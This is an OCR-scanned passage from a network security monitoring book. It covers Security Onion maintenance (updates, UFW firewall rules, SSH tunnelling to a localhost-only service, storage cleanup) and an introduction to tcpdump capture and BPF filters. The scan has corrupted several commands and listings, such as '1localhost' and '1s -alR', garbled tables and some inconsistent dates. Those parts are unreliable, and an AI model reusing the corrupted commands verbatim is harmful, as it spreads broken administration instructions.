SO server and an SO sensor.

Using each approach—an .iso file from the SO project or a “stock” .iso
from the Ubuntu developers—we built a distributed NSM setup.

In Chapter 5, we’ll take a brief look at a variety of SO housekeeping
issues, such as keeping platforms up-to-date, limiting network access for
security purposes, and managing platform storage.
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SO PLATFORM HOUSEKEEPING

In Chapters 3 and 4, we built stand-alone,
server, and sensor SO platforms. All of

these platforms are Linux systems that
require a certain amount of care and house-
keeping. This chapter explains key tasks common to

all three systems. These administrative duties include
keeping software up-to-date, limiting network access to promote security,
and managing system storage. By following the recommendations in this
chapter, you’ll keep your SO platforms running smoothly while providing
vital data to NSM analysts.

Keeping SO Up-to-Date

All NSM platforms run code that may need to be updated periodically,
and SO is no different. If you don’t periodically update the operating sys-
tem and various applications, you could find yourself running code with
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vulnerabilities. Thankfully, SO is not difficult to update. The easiest path is
to use the GUI, but the SO team recommends updating from the command
line because that approach provides a little more control over the update
process. We’ll start with the simplest method, and then look at using the
recommended one.

Updating via the GUI

To update via the GUI, log in to the SO console. You may see a notice like
the one shown in Figure 5-1, informing you that updates are available.

D)

== Software updates available

Figure 5-1: SO informs you when updates are available.

Click the exclamation point icon to open a menu with update options,
and select Show Updates. You will likely see both important and recom-
mended updates, as shown in Figure 5-2.

. Update Manager =

Software updatesare available for this computer.

Software updates correct errors, eliminate security vulnerabilities and provide new
features.

‘ Important security updates

Recommended updates

ecryptfs cryptographic filesystem (utilities)
ecryptfs-utils (Size: 104 kB)

fonts-opensymbol (Size: 144 kB)

GStreamer plugins from the "good" set
gstreamer(.10-plugins-good (Size: 2.0 MB)

~
OpenSymbol TrueType font
™

9 updates have been selected. 2.9 MB will be downloaded.

| Check || of/install Updates|
P Description of update
|Setrings...| xthse |

A

Figure 5-2: Important security updates and recommended updates are available.
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I suggest installing all updates. The exception is if the SO project has
encountered problems with certain updates, in which case it may suggest
additional procedures to follow or certain updates to avoid. If there are warn-
ings, they will be posted on the SO website at http://securityonion.blogspot.com/.

To continue, click Install Updates. When finished, the Update Manager
will report that the software is up-to-date, and it may require a system reboot.
Follow any additional instructions.

As you can see, updates via the GUI are easy. However, you can find
yourself accepting updates that might not be compatible with the recom-
mendations of the SO project. For example, MySQL database updates can
be tricky. For this reason, I suggest following the SO project’s suggestion:
update via the command line.

Updating via the Command Line

The SO project blog posts usually tell users to conduct updates via the com-
mand line, and provide specific syntax. To perform a generic update, open
a terminal on the desktop and enter the following:

$ sudo apt-get update

Now check for outdated software with the command shown in Listing 5-1.

$ sudo apt-get upgrade

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following packages will be upgraded:
ecryptfs-utils fonts-opensymbol gstreamer0.10-plugins-good
gstreamer0.10-pulseaudio language-selector-common language-selector-gnome
libecryptfso libpciaccesso libpgs

9 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 2,861 kB of archives.

After this operation, 114 kB disk space will be freed.

Do you want to continue [Y/n]?

Listing 5-1: Running sudo apt-get upgrade

Remembering to heed any warnings about updates from the SO team,
decide if you want to continue, and respond with yes or no. If you answer Y,
Apt will download and install updates.

Reboot to make sure that your SO applications are working correctly.

See the appendix for more guidance on updating SO.
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Limiting Access to SO

By default, SO ships with the Linux iptables firewall enabled. A local fire-
wall like iptables helps enforce a network security policy appropriate for a
server. To see the default access control settings, run the Uncomplicated
Firewall (UFW) configuration program with sudo ufw status. (I added the
rightmost column to Listing 5-2 manually to show the services associated
with each open port.)

$ sudo ufw status
[sudo] password for sademo: ¥*¥¥xx
Status: active

To Action From

22/tcp ALLOW Anywhere OpenSSH

514 ALLOW Anywhere Syslog

1514/udp ALLOW Anywhere OSSEC

443/tcp ALLOW Anywhere Apache

444/tcp ALLOW Anywhere Snorby

7734/tcp ALLOW Anywhere Sguil client to server
7736/tcp ALLOW Anywhere Sguil agents to server
3154/tcp ALLOW Anywhere ELSA

22/tcp ALLOW Anywhere (v6) OpenSSH

514 ALLOW Anywhere (v6) Syslog

1514/udp ALLOW Anywhere (v6) OSSEC

443/tcp ALLOW Anywhere (v6) Apache

444/tcp ALLOW Anywhere (v6) Snorby

7734/tcp ALLOW Anywhere (v6) Sguil client to server
7736/tcp ALLOW Anywhere (v6) Sguil agents to server
3154/tcp ALLOW Anywhere (v6) ELSA

Listing 5-2: Firewall policy

The firewall policy listed by this command shows all of the ALLOW state-
ments permitting network traffic to designated ports. The firewall policy
implicitly denies inbound access to any other ports. That means that if, for
example, you need to modify the configuration to start your Apache web
server on another port, you will need to change the iptables firewall access
control lists accordingly.

In the default configuration, Apache listens on port 443 TCP, and
remote systems are allowed to connect to port 443 TCP per the firewall
policy. Apache listening on port 4443, however, would be unreachable
unless an administrator changed the firewall policy.

Rather than expose more ports to remote access, some administrators
choose to limit the number of services that listen on public interfaces. Instead
of letting applications listen on the public network interface, administrators
“bind” them to nonpublic interfaces.

One way to use nonpublic interfaces for tighter security is to configure
an application to listen only on localhost (127.0.0.1). When an application
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is listening only on localhost, it can’t be reached remotely; it can be
reached only via the local system (hence the localhost, nonpublic IP address).
However, you can “simulate” local access by cleverly configuring OpenSSH.
You can set up an SSH proxy from an authorized remote client to the sen-
sor running the application listening on localhost.

Connecting via a SOCKS Proxy

To demonstrate accessing an application listening only on localhost, we’ll
work with the Xplico application. You may remember seeing a warning
on the SO welcome page that says port 9876 TCP for Xplico isn’t available
remotely. By default, if you try to connect from a remote computer to port
9876 TCP on an SO system, iptables will deny the connection. Port 9876 TCP
is available locally. If you open a web browser on the SO platform itself and
point it to port 9876 TCP, Xplico is listening.

If you want to access Xplico from your desktop, though, you need
to simulate local access. You can connect to that port if you use SSH as a
SOCKS proxy (a protocol designed to allow this sort of “tunnel” that simu-
lates local access).

Setting up a SOCKS proxy using SSH will allow you to remotely access
an application listening only on localhost. You can achieve this goal using
either a Microsoft Windows desktop or a Linux desktop.

If your remote client runs Microsoft Windows, you can use the free PuT'TY
(http://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH client. PuTTY is
available as a single .exe binary that doesn’t require any sort of installation
procedure. Follow these steps:

1. Run the putty.exe program and navigate to Connection » SSH» Tunnels.
In the Source port field, enter a TCP port that will listen on your local
system. (In this example, I use 8080 TCP).

2. Select the Dynamic and Auto radio buttons, and then click Add. Your
setup should look like Figure 5-3.

3. Return to PuTTY’s Session section and enter the hostname or IP address
and port of your remote SO stand-alone system, and then click Open.

4. Login to the SO system with the username and password you chose
during setup.

5. Open your web browser and choose the option for configuring network
settings. For example, if you're using Firefox, choose Options » Network »
Settings, and then configure the connection settings for Manual Proxy
Configuration with SOCKS Host set to 127.0.0.1 and Port set to the port
you configured in PuTTY. Figure 5-4 shows my settings. Click OK to
continue.

6. Point Firefox to https://127.0.0.1:9876. Your browser should redirect to
https://127.0.0.1:9876/users/login and warn that Xplico is not running.
This is okay; you've accessed the web server at port 9876 TCP, which
was previously not reachable remotely.
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[ Options controling SSH port forwarding

Port forwarding
[ Local ports accept cannections from ather hosts
[~] Remate parts do the same (SSH-2 only)

B

D80s0
Add new forwarded port
Source port Add
Destination
) Local () Remote (@ Dynamic
@ Auto ) IPv4 ) IPvE

Figure 5-3: Configuring PuTTY for SSH port forwarding

Configure Proxies to Access the Internet

() No proxy
() Auto-detect proxy settings for this network
(0) Use system proxy settings
) Manual proxy configuration:
HTTP Proxy: Pot  of
Use this proxy server for all protocols
SSL Proxy: Po: 0
ETP Proxy: Pot 07
SOCKSHost  127.00.1 Por:  8080[%]

©) SOCKSw @ SOCKSvS
No Proxy for:

Example: .mozilla.org, .net.nz, 192.168.1.0/24

® ic proxy confi ion URL:

|| Reload |

(o) (o] [ )

Figure 5-4: Configuring proxy settings in Firefox
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If your remote client is a Linux system, you can achieve the same goal
using the integrated SSH client. On your Linux desktop, run the following
command:

ssh -L 9876:1localhost:9876 username@SO server IP

With your tunnel established, follow steps 4 and 5 in the preceding pro-
cedure for configuring the Firefox web browser for a Windows remote client
and accessing the web server.

Changing the Firewall Policy

If you don’t want to tunnel traffic to bypass the firewall, you could modity
the firewall rules. For example, the following command changes the ruleset
to permit remote access to port 9876 TCP.

$ sudo ufw allow 9876/tcp
Rule added
Rule added (v6)

To disallow that port again, enter this:

$ sudo ufw deny 9876/tcp
Rule updated
Rule updated (v6)

See the SO wiki for more information about configuring the firewall
(https://code.google.com/p/security-onion/wiki/Firewall).

Managing SO Data Storage

As soon as you install and configure SO and cable its sniffing interface to a
live network, the NSM software begins collecting and interpreting traffic.
The SO sensors store a variety of NSM datatypes, but two directories are of
particular interest:

e The /nsmdirectory stores logs and full content data.

e The /fvar/lib/mysql directory holds SO’s databases.

The /nsm directory typically uses more drive space than /var/lib/mysql.

SO saves full content data in the /nsm/sensor_data/<sensorname-interface>/
dailylogs/YYYY-MM-DD directories with filenames in snort.log.<Unix timestamp>
format. Although the filenames have snortin the title, the content is in the
familiar pcap format. Listing 5-3 shows full content data stored on a stand-
alone demo SO platform in two directories.
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sademo@sademo: /nsm/sensor_data/sademo-eth1/dailylogs$ 1s -alR

total 16

drwxrwxr-x 4 sguil sguil 4096 Feb 16 12:28 .
drwxrwxr-x 7 sguil sguil 4096 Feb 10 11:12 ..
drwxrwxr-x 2 sguil sguil 4096 Feb 10 13:09 2014-02-10
drwxrwxr-x 2 sguil sguil 4096 Feb 16 20:15 2014-02-16

./2013-02-10:

total 118060

drwxrwxr-x 2 sguil sguil 4096 Feb 10 13:09 .
drwxrwxr-x 4 sguil sguil 4096 Feb 16 12:28

-Tw-r--1-- 1 root root 108390541 Feb 10 11:31 snort.log.1360494635
-IW-r--r-- 1 root root 12485022 Feb 10 13:17 snort.log.1360501765

./2014-02-16:

total 645312

drwxrwxr-x 2 sguil sguil 4096 Feb 16 20:15 .
drwxrwxr-x 4 sguil sguil 4096 Feb 16 12:28

-TW-r--1-- 1 root root 10637153 Feb 16 12:41 snort.log.1361017706
-Iw-T--1-- 1 root root 122264262 Feb 16 14:29 snort.log.1361019690
-- snip --

Listing 5-3: Directory contents for /nsm/sensor_data/sademo-eth1/dailylogs

The date on the directory listing is the time the file was last modified.
The date in the snort.log<Unix timestamp> filename is the time the file was
created, in Unix timestamp format. This format is expressed as the number
of seconds elapsed since January 1, 1970.

You can translate the Unix timestamp into more familiar terms with the
date command. For example, running date against the file snort.log. 1360494635,
we learn that the trace was created about 21 minutes before the system stopped
writing to it. We know this because the timestamp on the file is Feb 10 11:31,
and the “translated” date from the filename is Feb 10 11:10:35. We can see
that the file was opened at roughly 11:10, and it was last written to 21 minutes
later, at 11:31.

$ date --date='@1360494635"
Sun Feb 10 11:10:35 UTC 2013

Managing Sensor Storage

To manage sensor storage, SO scripts check the amount of available hard
drive space regularly. As the used space hits the 90 percent threshold, the
scripts remove old full content (pcap) files from the /nsm/sensor_data/
<sensorname-interface>/dailylogs directories, old Bro logs from /nsm/bro/logs,
old Argus session data from /nsm/sensor_data/<sensorname-interface>/
dailylogs/argus, and old Snort Unified?2 alert files from /nsm/sensor_data/
<sensorname-interface>/snort-<instancenumber>. Part 111 of this book covers
these and other SO tools. For now, it’s important to know that these logs
exist and how the system manages them.
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The system works by having the Linux cron command run the /usr/

sbin/nsm_sensor_clean script hourly, which calls the sensor_cleandisk() func-

tion found in /usr/lib/nsmnow/lib-nsm-sensor-utils. The sensor_cleandisk()

function in lib-nsm-sensor-utils contains the 90 percent value that triggers
deleting old logs. Although this daily check at 90 percent works well for
most users, you can change it to suit your needs if necessary. If you want

to change the 90 percent figure, edit it in the lib-nsm-sensor-utils file.

Checking Database Drive Usage
To check the size of SO’s databases in /var/lib/mysql, use MySQL command

shown in Listing 5-4. (Thanks to RolandoMySQLdba for posting this at

http://pastebin.com/YIgNaVi3/.)

$ mysql -u root

Welcome to the MySQL monitor.

Your MySQL connection id is 386507
Server version: 5.5.29-Oubuntu0.12.04.1 (Ubuntu)

Commands end with ; or \g.

Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective owners.

Type ‘help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> SELECT DBName,CONCAT(LPAD(FORMAT(SDSize/POWER(1024,pw),3),17," ')," ',
-> SUBSTR(' KMGTP',pw+1,1),'B') "Data Size",CONCAT(LPAD(
-> FORMAT(SXSize/POWER(1024,pw),3),17," ')," ',SUBSTR(' KMGTP',pw+1,1),'B') "Index Size",
-> CONCAT(LPAD(FORMAT (STSize/POWER(1024,pw),3),17," ')," ',
-> SUBSTR(' KMGTP',pw+1,1),'B"') "Total Size" FROM
-> (SELECT IFNULL(DB,'All Databases') DBName,SUM(DSize) SDSize,SUM(XSize) SXSize,
-> SUM(TSize) STSize FROM (SELECT table_schema DB,data_length DSize,
-> index_length XSize,data_length+index_length TSize FROM information_schema.tables
-> WHERE table_schema NOT IN ('mysql’,'information_schema','performance_schema')) AAA
-> GROUP BY DB WITH ROLLUP) AA,(SELECT 3 pw) BB ORDER BY (SDSize+SXSize);

elsa_web
syslog
snorby
syslog_data

All Databases

o +
|
1
I
I
]
|
]
|
1
I
]
]
I
I
]

securityonion_db

+—_—

| Data Size

0.000 GB
0.014 GB
0.059 GB
1.625 GB
3.384 GB
5.082 GB

rows in set (2.20 sec)

0.000 GB
0.007 GB
0.020 GB
0.050 GB
0.377 GB
0.454 GB

| Total Size |
| 0.000 GB |
| 0.021 GB |
| 0.079 GB |
| 1.675 GB |
| 3.761 GB |
| 5.536 GB |
L EE e P LT +

Listing 5-4: Displaying storage used by database tables

In this example, the databases in use occupy a total of 5.536GB.

The securityonion_db database used by Sguil and its components occupies
3.761GB, and the syslog_data database used by ELSA occupies 1.675GB.
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Managing the Squil Database

SO also ships with a sguil-db-purge script to manage the Sguil database
securityonion_db. The configuration file /etc/nsm/securityonion.conf contains
a DAYSTOKEEP variable, as shown in Listing 5-5.

ENGINE=snort
DAYSTOKEEP=365
ELSA=YES

Listing 5-5: DAYSTOKEEP variable in /etc/nsm/securityonion.conf

When SO runs sguil-db-purge, it removes data older than the default
365 days from the securityonion_db database. You can edit the DAYSTOKEEP
variable if you begin to run out of hard drive space.

To manage the syslog_data database, ELSA offers a configuration vari-
able that controls how much disk space it will use. The file /etc/elsa_node.conf
contains the entry shown in Listing 5-6.

# Size limit for logs + index size. Set this to be 90-95% of your total data disk space.
"log_size limit" : 200000000000,

Listing 5-6: Size limit entry in /etc/elsa_node.conf

108

Chapter 5

The log_size limit variable is set according to a number of bytes, so the
default translates to roughly 187GB. Raise or lower this value to manage
ELSA database storage as necessary.

Tracking Disk Usage

Although SO offers automatic ways to manage hard disk space, itisn’t a
completely deploy-and-forget appliance. Keep an eye on disk usage using
the df -h command and the more granular du -csh commands shown in
Listing 5-7.

$ sudo df -h

Filesystem Size Used Avail Use% Mounted on
/dev/sdal 456G 96G 337G 23% /

udev 1.5G 4.0K 1.5G 1% /dev

tmpfs 603M 876K 602M 1% /run

none 5.0M 0 5.0M 0% /run/lock
none 1.5G 216K 1.5G 1% /run/shm

$ sudo du -csh /nsm
86G /nsm
86G total

Listing 5-7: Disk usage commands
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As you can see, this sensor has plenty of space available on the hard disk
(/dev/sdal), with only 23 percent in use. The /nsm directory occupies 86GB
of the 96GB taken up by the whole partition. The example of a database
size check earlier in this chapter showed that all of the databases occupied
5.536GB. Windows users might be more familiar with graphical representa-
tions of hard disk usage. On Linux, it’s useful to become acquainted with
the sorts of percentages and listings produced by commands like df.

Conclusion

This chapter explained a few core administrative chores: keeping software
up-to-date, limiting network access to promote security, and managing
system storage. These are by no means the only skills required for system
administration, but thankfully, the SO project has made caring for NSM
platforms easy. With these fundamental skills, you can keep your SO sys-
tems running smartly with a minimum of effort.

In the following chapters, we’ll look at the software and data you can
use to collect and interpret network data.
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COMMAND LINE PACKET
ANALYSIS TOOLS

In Chapters 3 and 4 we installed the SO
software in several configurations, and

we discussed housekeeping functions in
Chapter 5. Now that you have this powerful
NSM platform collecting data, in this chapter I'll

introduce the first set of command line tools used to
present information to analysts. Some of these tools will be running all

the time, while others will be invoked on demand. Each has its particular
strengths and weaknesses. I'll discuss how I use key features, though I won’t
cover all tools in exhaustive detail here.

Because I've written this book for new analysts, my discussion of SO
tools in this part will concentrate on data presentation. In this chapter I
will look at data presentation tools that use a command line interface. In
Chapter 7 I'll address data presentation tools that use a graphical inter-
face, and in Chapter 8 I'll examine specialized forms of data presentation
tools—the NSM consoles. For now, let’s step back and understand how all
the NSM tools packaged with SO relate to one another.
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SO Tool Categories

SO ships with a variety of tools, as listed on the SO wiki (http://code.google
.com/p/security-onion/wiki/Tools). Some tools present data to analysts, some
collect data directly from the network or via messages from other comput-
ers, and a third category sits between the others as middleware, delivering
data or providing other essential capabilities. Let’s take a brief look at each
category of tools: data presentation, data collection, and data delivery.

SO Data Presentation Tools

Data presentation tools expose NSM information to analysts. Two sorts of
data presentation tools for packet analysis are available in SO. One relies on
a command line interface, and the other offers analysts a graphical inter-
face. SO also provides NSM consoles for data presentation.

Packet Analysis Tools

Packet analysis tools read network traffic from a live interface, or from a file
containing traffic saved in pcap format. Analysts use packet analysis tools to
better interpret network traffic, but not necessarily to implement an NSM-
specific investigation or workflow. Some of these tools help analysts better
understand individual packets, others group packets into sessions, and still
others examine application data. The authors of these tools generally did
not build them with NSM in mind, but nevertheless, they are key to under-
standing network traffic.

Two sorts of data presentation tools for packet analysis are available with
SO. One relies on a command line interface. These tools include Tcpdump,
Tshark, and the Argus Ra client, all examined in this chapter. Because
certain uses of Tshark depend on a related data collection tool, Dumpcap,
I’ll present it along with Tshark. The second sort of tool for packet analysis
offers analysts a graphical interface. Wireshark, Xplico, and NetworkMiner
are examples of this sort of software, and I discuss them in Chapter 7.

NSM Consoles

NSM consoles were built with NSM-specific investigation and workflows in
mind. The console authors began with the core NSM principles and imple-
mented them in software. These tools also function as data presentation
applications, but they act more as gateways to NSM data. Software in this
category includes Sguil, Squert, Snorby, and ELSA. I'll explain how to use
these NSM consoles in Chapter 8.
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SO Data Collection Tools

Once NSM analysts become comfortable with the data presentation tools,
they turn to data collection tools. Software in this category includes the Argus
server, Netsniff-ng, Passive Real-Time Asset Detection System (PRADS),
Snort, Suricata, and Bro. (Dumpcap belongs in this category as well, but SO
does not enable it by default.) These applications collect and generate the
NSM data available to the presentation tools.

The Argus server and PRADS create and store their own forms of session
data. Argus data is stored in a proprietary binary format suited for rapid
command line mining, whereas PRADS data is best read through an NSM
console. Analysts can choose which form of data suits them best.

Netsniff-ng simply writes full content data to disk in pcap format. Snort
and Suricata are network intrusion detection systems, inspecting traffic and
writing alerts according to the signatures deployed with each tool. Bro
observes and interprets traffic that has been generated and logged as a
variety of NSM datatypes.

In the default configuration enabled by the SO platform, all of these
applications provide a wealth of NSM data to the presentation tools dis-
cussed in this chapter and the next two.

50 Data Delivery Tools

Finally, between the data presentation and data collection tools sits a suite
of data delivery applications. Broadly speaking, this middleware enables the
functionality of the other categories of software on the SO platform. Tools
like PulledPork, Barnyard2, and CapMe manage IDS rules, alert process-
ing, and pcap access, respectively.

A suite of “agents” associated with Sguil—such as pcap_agent, snort_agent,
and the like—shuttle data from the collection tools to the presentation soft-
ware. This includes the Apache web server, the MySQL database, and the
Sphinx index application, which may already be familiar to you.

Finally, SO includes tools for integrating certain host-centric analysis
features. These include the OSSEC host IDS and Syslog-ng for transport
and aggregation of log messages. Because this book concentrates on
network-centric data, we won’t examine data from OSSEC and Syslog-ng,
but you should know that those components are running on SO platforms.

Figure 6-1 shows the core SO tools in relation to one another. This
chapter covers the tools Tcpdump, Tshark, Dumpcap, and the Argus Ra
client. Chapter 7 covers Wireshark, Xplico, and NetworkMiner. Chapter 8
discusses the NSM consoles Sguil, Snorby, Squert, and ELSA. We’ll begin
our look at data presentation tools with Tcpdump.
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Figure 6-1: Core SO tools

Running Tcpdump

Monitored inferface(s), e.g., eth1

Tcpdump (itp://www.tcpdump.org/) is a command line network traffic
analyzer. Tcpdump is available on SO, but it is not running by default.
Analysts can invoke it on demand, most often to view data stored in

/nsm/sensor_data/<sensorname>/dailylogs.

NOTE

Bill Fenner, David Young, Fulvio Risso, Guy Harris, Hannes Gredler, and Michael
Richardson are the current Tepdump maintainers, and they code under a three-clause
BSD license. (See the Tepdump CREDITS file at http://svnweb.freebsd.org/base/
vendor/tcpdump/4.3.0/CREDITS?revision=241212&view=markup for all
contributors.) They also develop the libpcap traffic capture library under the same
license. Van Jacobson, Craig Leres, and Steven McCanne wrote the original version in
1987 while working at the Lawrence Berkeley Laboratory Network Research Group.

Tcpdump works against a live network interface or a saved trace file. It
can display results in real time or write output to a file.

Tcpdump is a protocol analyzer because it can depict multiple layers of
detail for any traffic it understands. As a protocol analyzer, its rendition of
network traffic depends on its ability to decode the data it sees. Without
knowledge of the underlying protocols, Tcpdump could produce only a
byte stream that analysts would need to decode manually.
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Displaying, Writing, and Reading Traffic with Tepdump
Tcpdump runs in a command terminal. To display live traffic in real time,
run it with these options:

$ tcpdump -n -i <interface> -s <snaplen> -c <count>

The -n switch tells Tcpdump to not resolve IP addresses to hostnames
via DNS queries. I always run Tcpdump with the -n switch to avoid waiting
while the tool resolves IP addresses to hostnames via DNS. The -i switch
tells it which interface to monitor. The -s switch tells it how many bytes
to capture from each packet. By default Tcpdump captures 68 bytes for
IPv4 packets and 96 bytes for IPv6 packets. (Use -s 0 to capture the entire
packet, or specify a value appropriate for the medium from which you are
capturing.) Finally, -c tells Tcpdump how many packets to capture. (If you
forget this switch, Tcpdump will run until you stop it with ¢TRL-C.)

Listing 6-1 shows some example output. Tcpdump requires elevated
privileges to sniff traffic in promiscuous mode, so preface the command
with sudo.

$ sudo tcpdump -n -i ethl -c 5
tcpdump: WARNING: ethi: no IPv4 address assigned
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN1OMB (Ethernet), capture size 65535 bytes
©19:48:51.723139 IP 192.168.2.120.55060 > 205.233.0.226.443:
UDP, length 461
©19:48:51.886312 IP 69.171.246.17.443 > 192.168.2.104.49608:
Flags [P.], seq 928328861:928329246, ack 1080949825, win 39, length 385
©19:48:51.898576 IP 192.168.2.104.49608 > 69.171.246.17.443:
Flags [P.], seq 1:978, ack 385, win 4220, length 977
019:48:51.914324 IP 69.171.246.17.443 > 192.168.2.104.49608:
Flags [.], ack 978, win 45, length 0
©19:48:51.915284 IP 69.171.246.17.443 > 192.168.2.104.49608:
Flags [P.], seq 385:823, ack 978, win 45, length 438
5 packets captured
5 packets received by filter
0 packets dropped by kernel

Listing 6-1: Capturing five packets with Tepdump

This traffic includes one User Datagram Protocol (UDP) packet @,
followed by four Transmission Control Protocol (TCP) packets (@, ©, @,
and @). The UDP traffic has the following format:

timestamp / layer 3 protocol / source IP address.source port > destination IP
address.destination port: layer 4 protocol / data length
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The format for the TCP traffic is similar:

timestamp / layer 3 protocol / source IP address.source port > destination IP
address.destination port: layer 4 protocol / TCP flags, TCP sequence numbers,
TCP acknowledgement numbers, TCP window size, data length

The time in this trace is UTC. When you configure SO, it sets the local clock to use
UTC, so expect to see UTC timestamps in network evidence. In files saved in libpcap
Sformat, time is stored as the number of seconds and microseconds since the Unix
“epoch time” of January 1, 1970. The local system then translates this value into
the time displayed by a network tool.

To save traffic to disk while watching a live interface, add the -w switch
followed by the target filename. Listing 6-2 shows how to accomplish this task.

$ sudo tcpdump -n -i ethl -c 5 -w demoil.pcap

tcpdump: WARNING: ethi: no IPv4 address assigned

tcpdump: listening on ethi, link-type EN10OMB (Ethernet), capture size 65535 bytes
5 packets captured

5 packets received by filter

0 packets dropped by kernel

Listing 6-2: Capturing and storing five packets with Tcpdump

To read the traffic, use the -r switch. (The sudo command isn’t needed
because you're reading from a trace, not eth1.) Listing 6-3 shows the results
of reading five captured packets.

$ tcpdump -n -r demoi.pcap
reading from file demol.pcap, link-type EN10MB (Ethernet)
20:23:44.858470 IP 74.125.228.54.443 > 192.168.2.104.49945:
Flags [P.], seq 1145489012:1145489069, ack 1920080636, win 4132, length 57
20:23:44.859134 IP 74.125.228.54.443 > 192.168.2.104.49945:
Flags [P.], seq 57:1407, ack 1, win 4132, length 1350
20:23:44.859154 IP 74.125.228.54.443 > 192.168.2.104.49945:
Flags [P.], seq 1407:2757, ack 1, win 4132, length 1350
20:23:44.859505 IP 74.125.228.54.443 > 192.168.2.104.49945:
Flags [P.], seq 2757:4107, ack 1, win 4132, length 1350
20:23:44.860006 IP 74.125.228.54.443 > 192.168.2.104.49945:
Flags [P.], seq 4107:4261, ack 1, win 4132, length 154

Listing 6-3: Reading five packets with Tcpdump

Using Filters with Tecpdump

Along with displaying, writing, and reading traffic, the other core usage
for Tcpdump involves applying filters. Filters are a mechanism to limit the
traffic shown or captured by Tcpdump and other tools. The popular term
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for filters is BPF, a nod to the Berkeley Packet Filter virtual machine, which
translates the human-readable filter syntax into a code syntax suitable for
machine consumption.

Applying Filters

You apply a BPF by appending it to the Tcpdump command line. For
example, to capture only ICMP traffic, add icmp to the syntax, as shown
in Listing 6-4 (@).

$ sudo tcpdump -n -i ethi -c 10 -w icmp.pcap icmp®

tcpdump: WARNING: ethi: no IPv4 address assigned

tcpdump: listening on ethi, link-type EN1OMB (Ethernet), capture size 65535 bytes
10 packets captured

10 packets received by filter

0 packets dropped by kernel

Listing 6-4: Capturing 10 ICMP packets with Tepdump

To read the trace, use Tcpdump again, as shown in Listing 6-5.

$ tcpdump -n -xr icmp.pcap

reading from file icmp.pcap, link-type EN1OMB (Ethernet)

20:30:28.203723 IP 172.16.2.1 > 172.16.2.2: ICMP echo request, id 20822, seq 44313, length 44
20:30:28.204282 IP 172.16.2.2 > 172.16.2.1: ICMP echo reply, id 20822, seq 44313, length 44
20:30:28.844237 IP 192.168.2.108 > 173.194.75.104: ICMP echo request, id 1, seq 5, length 40
20:30:28.871534 IP 173.194.75.104 > 192.168.2.108: ICMP echo reply, id 1, seq 5, length 40
20:30:29.213917 IP 172.16.2.1 > 172.16.2.2: ICMP echo request, id 20822, seq 44569, length 44
20:30:29.214475 IP 172.16.2.2 > 172.16.2.1: ICMP echo reply, id 20822, seq 44569, length 44
20:30:29.850913 IP 192.168.2.108 > 173.194.75.104: ICMP echo request, id 1, seq 6, length 40
20:30:29.875103 IP 173.194.75.104 > 192.168.2.108: ICMP echo reply, id 1, seq 6, length 40
20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64
20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64

Listing 6-5: Reading ICMP packets with Tcpdump

Instead of using icmp, you can capture other specific traffic by using
options like tcp, udp, and so on. For example, you can collect traffic for a
specified TCP or UDP port, like port 53, as shown in Listing 6-6.

$ sudo tcpdump -n -i ethi -s 0 port 53

tcpdump: WARNING: ethi: no IPv4 address assigned

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on ethi, link-type EN1OMB (Ethernet), capture size 65535 bytes
20:53:42.685078 IP 192.168.2.106.33348 > 172.16.2.1.53: 55862+ A? daisy.ubuntu.com. (34)
20:53:42.701421 IP 172.16.2.1.53 > 192.168.2.106.33348: 55862 2/0/0 A 91.189.95.54, A
91.189.95.55 (66)

Listing 6-6: Capturing port 53 packets with Tepdump
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Listing 6-6 captures UDP or TCP traffic on port 53. To capture port 53
and TCP traffic only, modify the filter as shown in Listing 6-7.

$ sudo tcpdump -n -i ethi -s 0 port 53 and tcp

tcpdump: WARNING: ethi: no IPv4 address assigned

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes

21:02:06.430169 IP 192.168.2.126.44334 > 8.8.8.8.53: Flags [S], seq 1330246822, win 42340,
options [mss 1460,sackOK,TS val 157066547 ecr 0,nop,wscale 11], length 0

Listing 6-7: Capturing port 53 TCP packets with Tcpdump

The manual page for pcap-filter included with SO shows all available
options. View it by entering man pcap-filter at a command terminal.

Some Common Filters

Now let’s look at some of the more common filters for showing traffic to or
from particular hosts and even networks.

To show traffic to or from a specific computer, use the host BPF, as shown
in Listing 6-8.

$ tcpdump -n -r icmp.pcap host 192.168.2.127

reading from file icmp.pcap, link-type EN10MB (Ethernet)

20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64
20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64

Listing 6-8: Capturing traffic involving a host via BPF with Tcpdump

To show traffic from a certain source computer, use the src host BPF, as
shown in Listing 6-9.

$ tcpdump -n -r icmp.pcap src host 192.168.2.127
reading from file icmp.pcap, link-type EN10MB (Ethernet)
20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64

Listing 6-9: Capturing traffic from a host via BPF with Tcpdump

The dst host BPF works the same way as the src host version, as shown
in Listing 6-10.

$ tcpdump -n -r icmp.pcap dst host 192.168.2.127
reading from file icmp.pcap, link-type EN10MB (Ethernet)
20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64

Listing 6-10: Capturing traffic to a host via BPF with Tcpdump
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You can specify networks instead of hosts with the net BPF, as shown in
Listing 6-11.

$ tcpdump -n -r icmp.pcap dst net 192.168.2.0

reading from file icmp.pcap, link-type EN10OMB (Ethernet)

20:30:28.844237 IP 192.168.2.108 > 173.194.75.104: ICMP echo request, id 1, seq 5, length 40
20:30:29.850913 IP 192.168.2.108 > 173.194.75.104: ICMP echo request, id 1, seq 6, length 40
20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64

Listing 6-11: Capturing traffic to a network via BPF with Tepdump

Many protocols offer BPF primitives that allow you to look at specific
aspects of the traffic, and you can also combine elements of the previous
